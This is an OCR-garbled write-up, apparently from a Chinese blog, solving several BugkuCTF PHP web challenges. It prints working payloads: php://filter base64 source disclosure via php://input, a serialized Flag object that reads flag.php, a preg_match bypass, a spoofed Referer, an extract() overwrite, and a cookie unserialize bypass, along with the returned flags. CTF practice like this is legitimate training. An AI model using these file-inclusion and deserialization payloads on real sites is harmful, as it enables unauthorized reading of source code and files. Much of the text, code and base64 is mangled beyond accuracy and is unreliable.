echo “helio af.u'.'n.l'n_-'-::ﬁf

include($file); #hint php

FARME T hint.php, FFiE—X file=php:/ffilter/read=convert.base64-encode/resource=hint.php

payload: ?txt=php://input&file=php:/ffilter/read=convert.base64-encode/resource=hint.php

GET

Restl xd=php: linput & file=php: iteriread=convert basetd-encodeireso
urce=hirt php HTTPM 1

Host: 123.206.87 .240:8006

User-Agent: Mozillais .0 (Nindows MT 10.0; WinGd; x64; rv:62.0)
Gecko/20100101 Firefox/62.0

Accept: texthtml application/xhtml+xml applicationfzml;g=0.9 **qg=08
Accept-Language:

zh-CH zh; =08 zh-TW q=0.7 zh-HK; g=0.5 en-US;g=0 3 en;g=0 2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Reguests: 1

Cache-Control: max-age=0

Corntent-Length: 23

welcome to the bugkuctf

ARV, L,

public function __tostring(){
if(isset($this->file)){

echo file_get_contents($this->file);

echo
return (

i Content-Type: texthitml
r Connection: close
Content-Length: 638

—_hello

friend!<br=PD9waHAglAOKICANCmHs Y XNzIEZ s YWdATLy9mbGFnLn
BocCAgDQoglCAgcHVibGICRmMaWxIOyAgDQoglCAgeHViIbGIIGZ
1bmNIaWIulF3fdGIzdHIpbmcoKXsglAOKICAgICAgICBpZihpe3HI
dCgkdGhpcyl+ZmilsZSkpeyAgDQoglCAgICAgICAgICBIY 2hwiGZp
bGVFfZ2V0X2HvbnRIbnRzKCROaGIzL T5maWxIKTsgDQo JCOIY 2hvl
Cla¥ni+ljsNCgkJemV0dX JulCgiZ29vZ ClpOwOKICAgICAgICEIICA
NCiAgICBYICAHNCnOglADKPzAglA==

<l

Suser=3% (
Ffile=% 5
Crace — T

3] TN, ATCASRIROR, L, EREAGHE, &5, HEET N, KIphp/fitteriiindexphp, JEARIERANMGEE T, B
HE,



fest1 F=phpciinput&file=php:ifiter read=convert baset4-encodelreso
urce=index.php HTTPA 1

Host: 123.206.587.240: 3006

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x84, rv.62.0)
Gecko/20100101 FirefoxB2.0

Accept: text/html applicationfhtml+xml applicationimlg=0.9 ** g=0.8
Accept-Language:

zh-CM zh;g=0.8 zh-TWW,g=0.7 zh-HK;g=0.5 en-US;g=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control. max-age=0

Content-Length: 23

welcome to the bughuctf

Fibase64f@ny,

I;
if(isset($txt)&&(file_get contents($txt,
echo ;
if(preg_match( ,$file)){
echo
exit();
else{
include($file);

$password = unserialize($password);

echo $password;

}

Lelse{

if(preg_match("/flag/",$file)) //it W 1 4 ANGE & F flag

password= ynserializel password);

4], US4 Sfile AN fiflag,

hello

friend!=br=PD9waHAgIAOK JHRAACAICRIROVUIMY J0eHQIXTsglAOK
JGZpbGUgPSAKX0dFVFsiZmisZS JdOyAgDQokeGFze3dvemQgPs
AkX0dFVFsicGFze3dvemQiXTsglAOKICAHCMIMKGIzc2VOKCROeH
QphYoZmilsZVInZXRFY29udGVudHMo JHRAACwneicpPT09IndIbG
HvbWUgdGEgdGhllGJ1Z2t1Y 3RmlikpeyAgDQoglCAgZWHobyAiaG
VsbhGigZnJpZWSKITxicjHOyAgDQoglCAgaWY ocHIZ1HYXRjaCgi
L2ZsYWevliwkZmlsZSkpeyANCgkJZWHobyAISLINGI09546 w5 Zyo
ShCx5TuZ5L 20ZmxhZ+WT pilTDQogICAgICAgIGY 4aX QoK TsglADKI
CAgiH1IbHNIeyAgDQoglCAgICAgIGIuY2x1ZGUo JGZphGUpOyAglA
DKICAgICAgICAKkeGFze3dvemQgPSB1bnHlcmIhbGI6ZSgkeGFze3d
vemQpOyAgDQoglCAgICAgIGVjaGigJHBhe3N3b3 JkOyAgDQoglC
AgfSAgDOpYZWxzZXsglAOKICAgIGVjaGEginlvdSBhemUgbhm90IH
RoZSBudWHiZXlgh2YgYnWna3UglSAiOyAgDOpYICANCiAgDQo/PiA
gDQoglAVKPCELL SAgDCokd XHIciASICRIROVUWY J0eHQiXTsglADK
JGZpbGUgPSAKX0dFVFsiZmisZS JdOyAgDQokeGFzeyAIICRFROV
Wy wYXNzd29yZ CJdOyAgDQoglAVKaWY oaXNzZX 0o JHVZZXIpJi
YoZmlsZVInZXRFY29udGVudHMo JHVzZXIs J3INnK TP S J3ZWxjh2
1IHRvIHRo ZS BidWdrdWHOZilpKXsglAOKICAgIGVjaGEgimhlbGxvlG
FkbWIulIT xicj4i0yAgDQoglCAgaWsjbHVKZSgkZmlsZSkTICBvaGlu
dC5waHAgIADKIW VY sc2VTICANCIAgICBIY 2hvlC J5b3UgY X JNG5wdC
BhZG1pbiAhICITICANCnOglADKICOtPiAg




file_get contents($this->file);

WP

Mmix ARG, H—A__tostring()777%, XUTRILKIIBEARTTE, MFlag sl LML IR RAR 2 B 84T __tostring 771k, TiXANT7
FEhE TR eile AR, At Hifile XX F R N A

if(preg_match $file
echo
exit
else
include($file
$password = unserialize($password
echo $password

RSB ag" T AN S AR AR password AT T AL, T4 i password i f
FF AR AT E R — AN Flag B IO B4, HH4EIK 2 M4 password.

{H £ passwordunserialize() s JF 5ILALFE, FfLLE Seserialize()F 411k, R TFRIMLS RFFIML, ATULEERK S —F X
#, PHPFYIMLE K F5I1k

EEPHP AL LT

25

SRJGTE password=0:4:"Flag":1:{s:4:"file";s:8:"flag.php";} getit 3c

| GET " HTTRM .1 200 QK
fRest1/x=php: linput&file=hint php&password=0:4."Flag".1:{s:4."file";=:8 r Server: nginx
Mlag php! FHTTRM A Diate: Sat, 13 Apr 20019131517 GMT
Host: 123206 87 240:8006 Content-Type: texthitml
User-Agent: Mozillais .0 (Nindows MT 10.0; WinGd; x64; rv:62.0) Connection: close
Gecko/20100101 Firefox/52.0 Content-Length: 378
Accept: texthtml application/xhtml+xml applicationfzml;g=0.9 **qg=08
Accept-Language: isndlobre =Pl
zh-CH zh; =08 zh-TW q=0.7 zh-HK; g=0.5 en-US;g=0 3 en;g=0 2 I IMlag{php_is_the_best_language} 1|
Accept-Encoding: gzip, deflate Fe<br=good
|| Connection: close
Upgrade-Insecure-Reguests: 1 =L


https://tool.lu/coderunner/
https://imgchr.com/i/ALHTje

“F FFiflag T

SR EN?

, trim($_GET["id"]), $match);

JR . https://blog.csdn.net/qq_30464257/article/details/81160656

FAR I IE 2 preg_matchrP 1 A 25805, IX BT R UE— T . 7B SR

7 it %R NETE
8.{4-7}RK[0-9]" I‘+ S I IR B 4-T IR

payload: ?id=keyaaakeyaaaakey:/a/aakeya@
PR AN IR B SR

98 H, w—A)iE

are you from google?

#GoogleM W&k 17—, KILZ2AIT, M4 R aeEkheader 1

HTTP Referer;&headerf)—#4, 4 Vg nweb i 554 Rk TE R B 5, —M &1 L Referer, 2 1f k5% a5 Fe AN DT I B B2 ok 117,
R 2% 2R 2 ML AT DR AS — 25 B T Ab 2 .

|3ET ffrom.php HTTPH .1 A HTTP/M .1 200 OK

Host: 123.2068.57.240:9009 P Server: nginx

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x84, rv.62.0) Date: Sat, 13 Apr 2019 14:08:25 GMT
Gecko/20100101 Firefox/E2.0 Cortent-Type: text/tml

Accept: textihtml applicationfhtml+xml applicationimlg=0.9 **g=0.8 Connection: close

Accept-Language: Corntent-Length: 21

zh-CH zh;g=0.8 zh-TW. g=0.7 zh-HK;g=0 5 en-U5;g=0.3 en;g=0 2

Accept-Encoding: gzip, deflate flag{bug-ku_ai_admin}

Connection: close
Upgrade-Insecure-Requests: 1
Cache-Caontrol max-age=0
I?eferer:r'rl'tps:I.f\-vww.google.com I



https://blog.csdn.net/qq_30464257/article/details/81160656

extract($_GET);

if (!empty($ac)){

$f = trim(file_get_contents($fn));
if ($ac $)

" $flag

f, M,

LI

et —

payload: get: ?ac=1&m=php://input post: 1

o h ~r A rh 33 o A FeTH A nng e

GET fwebSindex php7ac=1 &anphp:Iﬂnput HTTPHA 1
Host: 123.206.587.240:8002
User-Agent: Mozilla/5.0 (Windows WT 10.0; Wing4, x84, rv:62.0)
Gecko/20100101 FirefoxB2.0
Accept: text/html applicationfhtml+xml
Accept-Language:

zh-CM zh;g=0.8 zh-TWV,g=0.7 zh-HK,g=0.5,
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control. max-age=0
Content-Length: 1

plicationixml,g=0.9 **g=03

-USg=0.3 en;g=0.2

2=l

i

TTdE

hrnd

=]

e

=span style="color: #0000BE">&Ht; ?php=<br />extract=/span==span
style="color: #007700"={=/span==span style="color:
#0000BE"=$%_GET=/span==span style="color; #007700"=);=br
I=if&nhsp;(lempty(=/span==span style="color:
#0000BE"=$ac=/span=<span style="color: #007700"=))=<br i={<hr
I==fspan==span style="color; #0000BB"=$f&nbsp;=/span==span
style="color: #007700">=&nbsp;=/span==span style="colar:
#0000BE"=trim=/span==span style="color; #007700"={=/span==<span
style="color: #0000EE"=file_get_contents</span==span style="color:
#007700"=(=/zpan==<zpan style="color: #0000B6"=$fn=/span==span
style="color: #007700"=)};=br />f&nbsp;(=/span==span style="colaor:
#0000BE"=$ac&nbsp;</span==span style="color;
#007700">===&nhsp;=/span==span style="color:
#0000BE"=$f=ispan==span style="color: #007700"=)<br i={<hr
I=echo&nhsp;=/span==span style="color:

#0DO000"="&H;p&gt; This&nbsp;is&nbsp:flag:"&nbhsp;=/span==spa
n style="color: #007700">.=/span==span style="color:
#0DO000"="&nbsp;=/span==span style="color:
#0000BE"=$flag=/span=<span style="color;
#0DO000"=&M;ip&gt;“=</span==span style="color: #007700"=;=hbr
I=¥=br f=else=br i={=br i=echo&nbsp;=/span==span style="color:
#0DO000"="&H;p&gt;sorry!&it;/p&gt;"=/span==span style="color:
#007700"=;=br j=}=br f=}<br l==/zpan==span style="gelor:

#0000BE"= 2&gt;=<br f==/span= /

=lspan=

=lcode==p=This is flag: flag{3cfhTa%fclde31)=/p>

W EIRF R Rk, WRIEEH R, Uikflagtt, &SN 2 flags, 2R 5 Hitpayload:

?ac=flags&fn=flag.txt , WAZR AR, XAFZAEH S =K.

GET MwebBindex php?ac=flags&fn=flag txt HTTPA A

Host: 123.206.87 .240:8002

User-Agent: Mozillais.0 (WNindows MT 10.0; Wing4, x64; rv:2.0)
Gecko/20100101 Firefox/52.0

Accept: text/tml application/xhtml+xml application/xml;g=0.9 ** g=0.8
Accept-Language:

zh-CM zh;g=0.8 zh-TW,gq=0.7 zh-HK, g=0.5 en-US;g=0.3 en,g=0.2
Accept-Encaoding. gzip, deflate

Connection: close

Upgrade-Insecure-Reguests: 1

Cache-Control: max-age=0

flag.php

FDOO0000"="&H;pEgt;This&nbspiis&nbspiflag:"&nbsp;</sp
n style="color: #007700"=.</span=<zpan style="color:
#DDO000"="&nbsp;=/span==span style="color:
#0000BE"=$fag=/zpan==span style="color;
#DDO000"=&1t;/p&gt;"=/span==span style="color: #007700">;=
[=}=br [=else=hr /={=br /echo&nbsp;=/span==span style="cc
#DDO000"="&;p&gt;sorny! &t p&gt;“=/span==span style="c
#OO7700"=3=hr J=}=hr /=}<hr /==ispan==span style="color:
#0000BE"=2&gty=br f==ispan=

=/span=

=/code==p=This is flag: flag{3cfbTa%0fc0de31}=/p>



BRVS, KIogin ML, A E A mHBRMN
ZAMRshint, R 7 ERARIERA AR, f)5, getteitkhint=1, KIL T IEHY

<?php
error_reporting(0);
include_once(
$cookie = $_COOKIE[
if(isset($_GET][ IN
show_source(_ FILE_);
}
elseif (unserialize($cookie) $KEY")
i
echo "$flag";
t

else {
7>

head
meta http-equiv content
title>Login</title
link rel type
head
body
o]
div class align
form method action
p><input name type placeholder
p><input name type placeholder
p><input value type
form

(unserialize(cookie)= KEY?)

XFER ALK, W $KEY="ISecer:ww.isecer.com' FHI1b 2 J5, “cookieft il LA T, sz b, tHAfscRiE
KEY F5Mb 2 J5%5 cookie, WANGE, KEYEEFFMLIR G, EARE XL, ZADFME, 1A RZ $KEY="ISecer:www.isecer.com' ,
FTEL, HESKEY=""FFSI4L 2 5 9 s:0:™;

B FF(Save) HEEH #BABEE(Embed) P #HiT(Run) +

$KEY)):

2>

cookieft1Z#ZISecer, fillpayload:

cookie: ISecer=s:0:"";




User-Agent: Mozilla/5.0 {Windows NT 10.0; Wing4; x64; rv:62.0) A
Geckof20100101 Firefoxs2.0

Accept: textihtml applicationfhtml+xml applicationimlg=0.9 **g=0.8
Accept-Language:

zh-CH zh;g=0.8 zh-TW. g=0.7 zh-HK;g=0 5 en-U5;g=0.3 en;g=0 2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control max-age=0

Content-Length: 0

cookie: |Secer=s:0:"",

Trimf i &

HTTP/M A1 200 OK

Server: nginx

Date: Sat, 13 Apr 2019 15:08:53 GMT
Cortent-Type: text/tml

Connection: close

Corntent-Length: 27

flag{unserialize_by_wirink}
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